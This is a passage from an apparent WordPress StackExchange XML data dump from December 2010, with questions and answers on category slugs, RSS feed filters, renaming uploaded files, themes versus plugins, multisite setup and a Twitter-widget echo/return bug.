I add the sub-categories “Chinese Food”, “Italian Eateries”, and “Luxury Dining” to Boston. But when I try to add the same sub-categories to New York, even when I specify the URL slugs, Wordpress starts forcing slugs like “http://[site-root].com/New-York/Chinese-Food-New-York/” — unnecessary repetition, and lengthening my links. This gets even worse if I want to have sub-sub-categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven’t yet been able to find a way to force Wordpress to accept non-unique slugs. How would you recommend I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="2027" LastActivityDate="2011-01-23T16:47:02.150" Title="How to create non-unique sub-category slugs?" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;&lt;urls&gt;&lt;slug&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="5510" PostTypeId="2" ParentId="5503" CreationDate="2010-12-16T22:55:34.393" Score="0" ViewCount="" Body="&lt;p&gt;@Rarst got me on the right track.  I modified it to work on all the different types of feed with some copy/paste/modify from the exact code used in the WP core to make sure escaping is done in the same way etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please give @Rarst the +1's, as it's really his solution.  Just posting this as a more complete solution.  I added this to my theme's &lt;code&gt;function.php&lt;/code&gt; file and it did the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE that this could break in future if WP changes the format of the feeds.  This is working as of WP 3.0&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_category_rss', 'remove_rss_categories', 10, 2); &#xA;&#xA;function remove_rss_categories( $the_list, $type ) {&#xA;    if ( empty($type) )&#xA;      $type = get_default_feed();&#xA;&#xA;    $categories = get_the_category();    &#xA;    $cat_names = array();&#xA;&#xA;    $filter = 'rss';&#xA;    if ( 'atom' == $type )&#xA;      $filter = 'raw';&#xA;&#xA;    if ( !empty($categories) ) foreach ( (array) $categories as $category ) {&#xA;      $cat_names[] = sanitize_term_field('name', $category-&amp;gt;name, $category-&amp;gt;term_id, 'category', $filter);&#xA;    }&#xA;    $cat_names = array_unique($cat_names);&#xA;&#xA;    foreach ($cat_names as $cat_name) {&#xA;&#xA;      if ( 'rdf' == $type )&#xA;        $the_list .= str_replace(&quot;\t\t&amp;lt;dc:subject&amp;gt;&amp;lt;![CDATA[$cat_name]]&amp;gt;&amp;lt;/dc:subject&amp;gt;\n&quot;, '', $the_list);&#xA;      elseif ( 'atom' == $type )&#xA;        $the_list .= str_replace(sprintf( '&amp;lt;category scheme=&quot;%1$s&quot; term=&quot;%2$s&quot; /&amp;gt;', esc_attr( apply_filters( 'get_bloginfo_rss', get_bloginfo( 'url' ) ) ), esc_attr( $cat_name ) ), '', $the_list);&#xA;      else&#xA;        $the_list = str_replace(&quot;\t\t&amp;lt;category&amp;gt;&amp;lt;![CDATA[&quot; . @html_entity_decode( $cat_name, ENT_COMPAT, get_option('blog_charset') ) . &quot;]]&amp;gt;&amp;lt;/category&amp;gt;\n&quot;, '', $the_list);&#xA;    }&#xA;    return $the_list;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1803" LastEditorUserId="1803" LastEditorDisplayName="" LastEditDate="2010-12-17T17:22:08.227" LastActivityDate="2010-12-17T17:22:08.227" CommentCount="2" />
  <row Id="5511" PostTypeId="2" ParentId="5505" CreationDate="2010-12-16T23:17:07.350" Score="2" ViewCount="" Body="&lt;p&gt;You'll want to hook in to the wp_handle_upload_prefilter filter (which I can't find any documentation on, but seems pretty simple). I've tried this out locally, and it seems to work for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsx_5505_modify_uploaded_file_names($arr) {&#xA;&#xA;    // Get the parent post ID, if there is one&#xA;    if( isset($_GET['post_id']) ) {&#xA;        $post_id = $_GET['post_id'];&#xA;    } elseif( isset($_POST['post_id']) ) {&#xA;        $post_id = $_POST['post_id'];&#xA;    }&#xA;&#xA;    // Only do this if we got the post ID--otherwise they're probably in&#xA;    //  the media section rather than uploading an image from a post.&#xA;    if(is_numeric($post_id)) {&#xA;&#xA;        // Get the post slug&#xA;        $post_obj = get_post($post_id); &#xA;        $post_slug = $post_obj-&amp;gt;post_name;&#xA;&#xA;        // If we found a slug&#xA;        if($post_slug) {&#xA;&#xA;            $random_number = rand(10000,99999);&#xA;            $arr['name'] = $post_slug . '-' . $random_number . '.jpg';&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    return $arr;&#xA;&#xA;}&#xA;add_filter('wp_handle_upload_prefilter', 'wpsx_5505_modify_uploaded_file_names', 1, 1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my testing, it seems like posts only have a slug if you have pretty permalinks enabled, so I've added a check to make sure there is a slug before renaming the file. You'll also want to consider checking the file type, which I haven't done here--I've just assumed it's a jpg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As requested in the comment, this additional function alters some of the meta attributes for the uploaded image. Doesn't appear to let you set the ALT text though, and for some reason the value you set as the &quot;caption&quot; is actually assigned as the description. You'll have to monkey with it. I found this filter in the function wp_read_image_metadata(), which is located in wp-admin/includes/image.php. It's what the media upload and wp_generate_attachment_metadata functions rely on to pull metadata from the image. You can take a look there if you want some more insight.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpsx_5505_modify_uploaded_file_meta($meta, $file, $sourceImageType) {&#xA;&#xA;    // Get the parent post ID, if there is one&#xA;    if( isset($_GET['post_id']) ) {&#xA;        $post_id = $_GET['post_id'];&#xA;    } elseif( isset($_POST['post_id']) ) {&#xA;        $post_id = $_POST['post_id'];&#xA;    }&#xA;&#xA;    // Only do this if we got the post ID--otherwise they're probably in&#xA;    //  the media section rather than uploading an image from a post.&#xA;    if(is_numeric($post_id)) {&#xA;&#xA;        // Get the post title&#xA;        $post_title = get_the_title($post_id);&#xA;&#xA;        // If we found a title&#xA;        if($post_title) {&#xA;&#xA;            $meta['title'] = $post_title;&#xA;            $meta['caption'] = $post_title;&#xA;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;    return $meta;&#xA;&#xA;}&#xA;add_filter('wp_read_image_metadata', 'wpsx_5505_modify_uploaded_file_meta', 1, 3);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2010-12-17T16:17:50.857" LastActivityDate="2010-12-17T16:17:50.857" CommentCount="5" />
  <row Id="5512" PostTypeId="2" ParentId="5508" CreationDate="2010-12-16T23:44:00.417" Score="1" ViewCount="" Body="&lt;p&gt;I'd look into using custom post types for the repetitive parts of your permalinks. Cities can be categories, and the restaurant types can be post types. It's the perfect use for post types, and it helps solve the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately I can only see it helping with one sub-level. If you need sub-sub-categories you'll have to find another WordPress feature with a URL presence that you can &quot;bend&quot; to fit your purpose.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2010-12-16T23:44:00.417" />
  <row Id="5513" PostTypeId="1" CreationDate="2010-12-16T23:47:43.020" Score="3" ViewCount="208" Body="&lt;p&gt;I'm curious as to what the specific differences are between a theme and a plugin.  I get the gist of it...themes have to do with look and feel (html / css) and plugins have to do with adding functionality (code / php).  However, a theme like the popular twitter inspired P2 seems to add functionality...not simply enhance the look and feel.  That leaves me a bit confused.  Can someone on this rockin exchange enlighten me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" LastActivityDate="2011-02-24T00:07:24.637" Title="Difference between a theme and a plugin?" Tags="&lt;plugins&gt;&lt;themes&gt;" AnswerCount="2" />
  <row Id="5514" PostTypeId="2" ParentId="5513" CreationDate="2010-12-17T00:20:39.227" Score="7" ViewCount="" Body="&lt;p&gt;Themes manage the display and layout of your blog, but can also add functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plug-ins add functionality to your blog, but can also add elements to the layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a lot of crossover between the two, particularly when you being to bundle certain plug-ins with themes.  However, the biggest difference lies in the templates your site uses.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Themes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Themes define the templates used for each page.  In general, &lt;code&gt;index.php&lt;/code&gt; in a theme is used for just about everything.  You can split that out and create a separate &lt;code&gt;header.php&lt;/code&gt; and &lt;code&gt;footer.php&lt;/code&gt; as well.  Then you can add a &lt;code&gt;sidebar.php&lt;/code&gt;.  I'm sure you've seen at least these four files before - one to define the header, one to define the sidebar, one to define the footer, and one to bring them all together and position them around the main content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further, you can define &lt;code&gt;single.php&lt;/code&gt; to style a single post, &lt;code&gt;page.php&lt;/code&gt; to style individual pages, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When your site loads and a page or post is requested, WordPress routes the request to the template file defined by your theme.  Then it knows how to lay things out on the page.  Traditionally, themes are &lt;em&gt;just&lt;/em&gt; for layout.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plug-ins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Plug-ins, on the other hand, can add additional elements to be used by the themes and elsewhere.  A plug-in can add a Facebook Like button that your theme can then add to posts and pages.  &lt;a href=&quot;http://wordpress.org/extend/plugins/google-reader-dashboard/&quot; rel=&quot;nofollow&quot;&gt;Another plug-in&lt;/a&gt; can add a widget to your admin dashboard for accessing and managing your Google Reader feed - this is &lt;em&gt;not&lt;/em&gt; reflected in the layout of your site, but does add functionality.  Yet another plug-in can automatically post to Twitter whenever you publish a new post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Themes can add functionality that is directly related to the layout and performance of your site.  Plug-ins can add functionality deeper in WordPress - functionality that can also be used by a theme.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-17T00:20:39.227" CommentCount="2" />
  <row Id="5515" PostTypeId="1" CreationDate="2010-12-17T02:15:50.153" Score="5" ViewCount="357" Body="&lt;p&gt;I've posted a bug-report about this a few months ago (&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14686&quot; rel=&quot;nofollow&quot;&gt;on WordPress trac (Widget Instance Form Update Bug)&lt;/a&gt;) and I thought I'd try writing about it here too. Maybe someone has a better solution to this issue than me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the problem is that if you drop a widget into a sidebar, the widget form doesn't get updated until you manually press save (or reload the page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This makes unusable all the code from the &lt;code&gt;form()&lt;/code&gt; function that relies on the widget instance ID to do something (until you press the save button). Any stuff like ajax requests, jQuery things like colorpickers and so on will not work right away, because from that function it would appear that the widget instance has not yet been initialized.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A dirty fix would be to trigger the save button automatically using something like &lt;a href=&quot;http://plugins.jquery.com/project/livequery&quot; rel=&quot;nofollow&quot;&gt;livequery&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(&quot;#widgets-right .needfix&quot;).livequery(function(){&#xA;  var widget = $(this).closest('div.widget');&#xA;  wpWidgets.save(widget, 0, 1, 0);&#xA;  return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add the &lt;code&gt;.needfix&lt;/code&gt; class in &lt;code&gt;form()&lt;/code&gt; if the widget instance doesn't look initialized:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;div &amp;lt;?php if(!is_numeric($this-&amp;gt;number)): ?&amp;gt;class=&quot;needfix&quot;&amp;lt;?php endif; ?&amp;gt;&#xA;   ...&#xA; &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;One drawback of this solution is that if you have lots of widgets registered, the browser will eat lots of CPU, because livequery checks for DOM changes every second (tho I didn't specifically test this, it's just my assumption :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for a better way to fix the bug?&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T17:10:39.910" LastActivityDate="2011-02-27T12:03:17.323" Title="Update widget form after drag-and-drop (WP save bug)" Tags="&lt;3.0&gt;&lt;plugin-development&gt;&lt;widgets&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="5516" PostTypeId="1" CreationDate="2010-12-17T02:29:00.210" Score="2" ViewCount="369" Body="&lt;p&gt;We have an existing WP3 site and would like to make it multiuser instead of the multiple installs we have now. I add the &quot;WP_ALLOW_MULTISITE&quot; CODE and relaunch - start the Network and then add the multisite code to wp-config and the .htaccess file. As soon as I do that and log out - it no longer finds a database connection. I noticed on previous attempts that a network database has wp_blogs table, and several other tables, where a standard install doesn't have that- I've checked all our other sites/databases. Is there more to do? We have our main site with another independent install within it that handles press releases. I'm looking to consolidate to one and need the separate permalink structure(the second install puts the posts at /resources/media_center/pr &lt;/p&gt;&#xA;" LastActivityDate="2010-12-21T14:57:44.870" Title="Convert existing site to network" Tags="&lt;network&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="5517" PostTypeId="1" CreationDate="2010-12-17T03:22:46.090" Score="1" ViewCount="126" Body="&lt;p&gt;I'd heard that WP and MU were fully merging in WP 3.0.  Did this happen?  Is it now just a matter of installing the latest version of WP and turning on a multiple blog support switch...or is it more complicated than that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any insight anyone can provide would be most appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eddie&lt;/p&gt;&#xA;" LastActivityDate="2010-12-17T14:21:01.223" Title="Has WP and MU fully merged?" Tags="&lt;multisite&gt;" AnswerCount="3" />
  <row Id="5518" PostTypeId="2" ParentId="5517" CreationDate="2010-12-17T03:47:32.420" Score="4" ViewCount="" Body="&lt;p&gt;That is correct. As of Worpdress 3.0 the code bases have been merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find more information here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.clickonf5.org/wordpress/first-look-wordpress-30-mu-merge-settings-network-blogs/6699&quot; rel=&quot;nofollow&quot;&gt;http://www.clickonf5.org/wordpress/first-look-wordpress-30-mu-merge-settings-network-blogs/6699&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wpengineer.com/1953/wordpress-3-multisite-settings/&quot; rel=&quot;nofollow&quot;&gt;http://wpengineer.com/1953/wordpress-3-multisite-settings/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-12-17T03:47:32.420" />
  <row Id="5519" PostTypeId="2" ParentId="5517" CreationDate="2010-12-17T03:49:54.307" Score="5" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Eddie Rendini:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, WP and WPMU have merged.  WPMU is now a feature called Multisite. Here are items on WordPress Answers tagged with &lt;em&gt;&quot;multisite&quot;&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/tagged/multisite&quot;&gt;&lt;strong&gt;Questions on WordPress Answers Tagged with &quot;multisite&quot;&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here's an article that shows you how to enable it:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.wpbeginner.com/wp-tutorials/how-to-enable-multi-site-option-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to enable Multi-Site option in WordPress 3.0&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-17T03:49:54.307" />
  <row Id="5520" PostTypeId="2" ParentId="5516" CreationDate="2010-12-17T06:15:34.657" Score="4" ViewCount="" Body="&lt;p&gt;Don't try to convert an existing site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you'll want to do is set up a new site with a clean installation of WordPress.  Most of the networks I've started are subdomains along the lines of &lt;a href=&quot;http://network.blog.url&quot; rel=&quot;nofollow&quot;&gt;http://network.blog.url&lt;/a&gt; or &lt;a href=&quot;http://dashboard.blog.url&quot; rel=&quot;nofollow&quot;&gt;http://dashboard.blog.url&lt;/a&gt;.  The first site you set up will become the &lt;em&gt;dashboard&lt;/em&gt; site for the rest of the network ... that's why you want to start with a clean site.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Setup&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First, install WordPress normally.  You'll need a fresh database and a fresh download of &lt;a href=&quot;http://wordpress.org/download&quot; rel=&quot;nofollow&quot;&gt;WordPress 3.0.3&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, add &lt;code&gt;define('WP_ALLOW_MULTISITE', true);&lt;/code&gt; above the line that says, &lt;code&gt;/* That's all, stop editing! Happy blogging. */&lt;/code&gt; in &lt;code&gt;wp-config.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, go back to your site and go to Administration &amp;raquo; Tools &amp;raquo; Network to activate the network installation.  You'll be given some additional information for &lt;code&gt;wp-config.php&lt;/code&gt; ... copy this code in between where you wrote &lt;code&gt;define('WP_ALLOW_MULTISITE', true);&lt;/code&gt; and where it says &lt;code&gt;/* That's all, stop editing! Happy blogging. */&lt;/code&gt;.  Don't change anything else in the config file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit your &lt;code&gt;.htaccess&lt;/code&gt; file and replace all other WordPress rules with the rules the network installation page gave you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, you'll need to log back in to the site, but once you do you'll have a working multi-site installation.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Migrate Other Sites&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now you'll want to begin migrating your other sites.  Start with the main site and create a  new &quot;Site&quot; from within WordPress.  You'll have to copy over a bunch of settings manually, but you can probably get it looking right fairly quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Export your posts and pages from the old site and import them to the new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy your theme over and any plug-ins you want to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only have a handful of users, it might be easier to ask them to sign back up once the site's moved.  You &lt;em&gt;can&lt;/em&gt; transfer users from the old site to the new site directly through the database ... but this involves writing SQL queries to export your old &lt;code&gt;wp_users&lt;/code&gt; table, clean out database-specific information (i.e. ID), and write another query to import them into the new database.  Doable, but time-consuming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the first site's migrated, start with the next one.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Domain Mapping&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If your multiple sites were originally on multiple domains, you'll want to install a domain mapping plug-in to make everything work right.  I recommend (and use on all my sites) the &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping&lt;/a&gt; plug-in.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Take a deep breath&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I know this sounds like a lot and it can be intimidating, but it's possible.  I migrated a 12-blog network with 1400 users last month.  Last night I migrated a 5-blog network.  Both take about the same amount of time and follow the &lt;em&gt;exact&lt;/em&gt; same process I outlined above.  Don't worry, you'll make your way through it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you lost your database connection on your first attempt it's probably because you overwrote something in &lt;code&gt;wp-config.php&lt;/code&gt; by mistake.  I've had a few times where opening that file in Notepad has stripped all the whitespace from the ends of lines, breaking the file and killing my database connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the very reason why the very first instruction in any of the WordPress documentation regarding updates or migration is to &lt;strong&gt;&lt;em&gt;&lt;a href=&quot;http://codex.wordpress.org/WordPress_Backups&quot; rel=&quot;nofollow&quot;&gt;back up your database and files&lt;/a&gt;.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-17T06:15:34.657" CommentCount="2" />
  <row Id="5521" PostTypeId="1" AcceptedAnswerId="5522" CreationDate="2010-12-17T06:18:00.677" Score="-1" ViewCount="74" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5331/append-content-help&quot;&gt;append_content help&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;i have a code which is use to display twitter tweets but the problem is, it is displaying before the content of post,&#xA;i know the problem is with echo, cause it is echoing first and then the post is coming, so the post comes after the tweets,&#xA;when i tried to make the echoes to return then the tweets are not coming&#xA;here is my code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function append_the_content1($content) {&#xA; //if(get_option('tweetID')!=null){&#xA;    $content .= &quot;&amp;lt;div class='post'&amp;gt;&amp;lt;p&amp;gt;&quot;.tweet(get_option('tweetID')).&quot;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&quot;;&#xA;      return $content;&#xA;   //}&#xA;    //else{&#xA;    //return $content;&#xA;    //}&#xA;}&#xA;add_filter('the_content', 'append_the_content1');&#xA;function tweet(){&#xA;$doc = new DOMDocument();&#xA;if (get_option('tweetID') != null) {&#xA;if($doc-&amp;gt;load('http://twitter.com/statuses/user_timeline/'.get_option('tweetID').'.rss')) {&#xA;  $output = &quot;&amp;lt;ul&amp;gt;&quot;;&#xA;&#xA;&#xA;  # number of &amp;lt;li&amp;gt; elements to display.  20 is the maximum&#xA;  $max_tweets = 5;    &#xA;&#xA;  $i = 1;&#xA;  foreach ($doc-&amp;gt;getElementsByTagName('item') as $node) {&#xA;    # fetch the title from the RSS feed. &#xA;    # Note: 'pubDate' and 'link' are also useful (I use them in the sidebar of this blog)&#xA;    $tweet = $node-&amp;gt;getElementsByTagName('title')-&amp;gt;item(0)-&amp;gt;nodeValue;&#xA;&#xA;    # the title of each tweet starts with &quot;username: &quot; which I want to remove&#xA;    $tweet = substr($tweet, stripos($tweet, ':') + 1);   &#xA;&#xA;    # OPTIONAL: turn URLs into links&#xA;    $tweet = preg_replace('@(https?://([-\w\.]+)+(:\d+)?(/([\w/_\.]*(\?\S+)?)?)?)@', &#xA;          '&amp;lt;a href=&quot;$1&quot;&amp;gt;$1&amp;lt;/a&amp;gt;', $tweet);&#xA;&#xA;    # OPTIONAL: turn @replies into links&#xA;    $tweet = preg_replace(&quot;/@([0-9a-zA-Z]+)/&quot;, &#xA;          &quot;&amp;lt;a href=\&quot;http://twitter.com/$1\&quot;&amp;gt;@$1&amp;lt;/a&amp;gt;&quot;, &#xA;          $tweet);&#xA;&#xA;    $output = &quot;Twiiter Updates:&amp;lt;li&amp;gt;&quot;. $tweet  . &quot;&amp;lt;/li&amp;gt;\n&quot;;&#xA;&#xA;&#xA;    if($i++ &amp;gt;= $max_tweets) break;&#xA;  }&#xA;   $output = &quot;&amp;lt;/ul&amp;gt;\n&quot;;&#xA;  return $output;&#xA;}&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-17T06:29:37.363" LastActivityDate="2010-12-17T06:29:37.363" ClosedDate="2010-12-17T14:58:56.700" Title="echo or return?" Tags="&lt;twitter&gt;&lt;code&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="5522" PostTypeId="2" ParentId="5521" CreationDate="2010-12-17T06:21:08.523" Score="4" ViewCount="" Body="&lt;p&gt;Functions can only return one value. Change all the &lt;code&gt;echo&lt;/code&gt; statements in your &lt;code&gt;tweet&lt;/code&gt; function to concatenate a string, then return the string at the end of the function.&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2010-12-17T06:21:08.523" CommentCount="3" />
  <row Id="5523" PostTypeId="1" CreationDate="2010-12-17T07:23:46.640" Score="0" ViewCount="146" Body="&lt;p&gt;I am using plugin you can see plugin &lt;code&gt;http://wordpress.org/extend/plugins/html-on-pages/&lt;/code&gt;&#xA;After activating this plugin it add .html at the end of page permalink.&#xA;WE can see this .html extension &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Dashboard-&amp;gt;Pages-&amp;gt;Edit&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;below the title its show permalink its editable its by default take .html as an extension for each page.&#xA;But my problem is that for particular page I dont want .html extension.Is it possible.&#xA;please help me its very urgent.I shall be very thankful to u &lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:37:18.147" LastActivityDate="2011-01-11T07:37:18.147" Title="How to remove .html from admin" Tags="&lt;permalinks&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="5524" PostTypeId="2" ParentId="5513" CreationDate="2010-12-17T07:26:34.530" Score="2" ViewCount="" Body="&lt;p&gt;Imagine in this way! Theme defines MAIN STRUCTURE for whole site! Theme is something like structure for a Post, a Page or a custom post type, custom page,..! So far you know theme is really HTML code! In the end of Wordpress excute, it returns HTML code to browser, and browser display for you! That HTML is build based on theme file (index.php, header.php, footer.php, single.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugins use hook&amp;amp; filter to modify theme BEFORE we output to browser! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;If you want to add social buttons to end of post! You can change single.php and add code to put some social button right below the_content()!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you can make a plugin to use Wordpress's filter&amp;amp; hook to change HTML of post, to append you social buttons! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use hook to add javascript, do some logic code, then render HTML based on that result, then append or replace with something via Wordpress's hook&amp;amp; filter! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what happen if you put plugin code in theme file? Assume you put some functions to render content into functions.php of theme! Then call those functions manually somewhere on your theme! Or even better, you can use hook&amp;amp; filter to auto change content without manually call in theme!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as long as wordpress can include your code in someway, and run it! As long as your code run it, it can do anything for you via using hook&amp;amp; filter! Some simple plugins can quite easy to put into a theme file! But some big plugins are too bloat to put into theme file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then later, you decide to remove that function, you go to theme file and remove the code? Sound stupid, right? So we have plugin, it's a way to auto modify the running process of Wordpress to change content, to change database,...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moreover, some hooks are runned before call theme so you can't put theme in theme file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conclusions:&#xA;As long as you code is included by wordpress, wordpress runs it then return result! You can put that code in theme files, wordpress will call it for you! But if you package it as a plugin, you can easy install/deactive/remove without changing any theme files! Additionaly, you also keep your theme simple/clean! &#xA;So when you need to changing something, put it as a plugin if possible! Don't put it in theme files! &lt;/p&gt;&#xA;" OwnerUserId="1969" LastActivityDate="2010-12-17T07:26:34.530" />
  <row Id="5525" PostTypeId="1" CreationDate="2010-12-17T07:35:48.630" Score="0" ViewCount="204" Body="&lt;p&gt;I want to remove the &quot;powered by wordpress&quot; and theme name in the footer, but all the tutorials refer to clicking on the &quot;Appearance&quot; tab, clicking on an edit button, and then going to the php templates on the right sidebar.  It seems like Wordpress has changed since these tutorials and is no longer allowing access to php templates.  No matter what I do to the CSS code, the footer is not budging. Any help would be greatly appreciated!&lt;/p&gt;&#xA;" LastActivityDate="2011-03-04T05:16:36.227" Title="Removing Wordpress Footer -without access to PHP code?" Tags="&lt;php&gt;&lt;css&gt;&lt;template&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="5526" PostTypeId="2" ParentId="5525" CreationDate="2010-12-17T08:08:55.277" Score="1" ViewCount="" Body="&lt;p&gt;Tweaking it in the PHP code shouldn't be too hard. You don't need to really know any PHP at all. Just need to &lt;code&gt;CTRL+F&lt;/code&gt; to find that phrase you want to remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you absolutely want to do it with just CSS, it is possible to hide it with &lt;code&gt;{display:none}&lt;/code&gt;. The code will still load, but just be hidden from visibility to a user. You will need to find the class, id, or html element that contains that text though.&lt;/p&gt;&#xA;" OwnerUserId="1493" LastActivityDate="2010-12-17T08:08:55.277" />
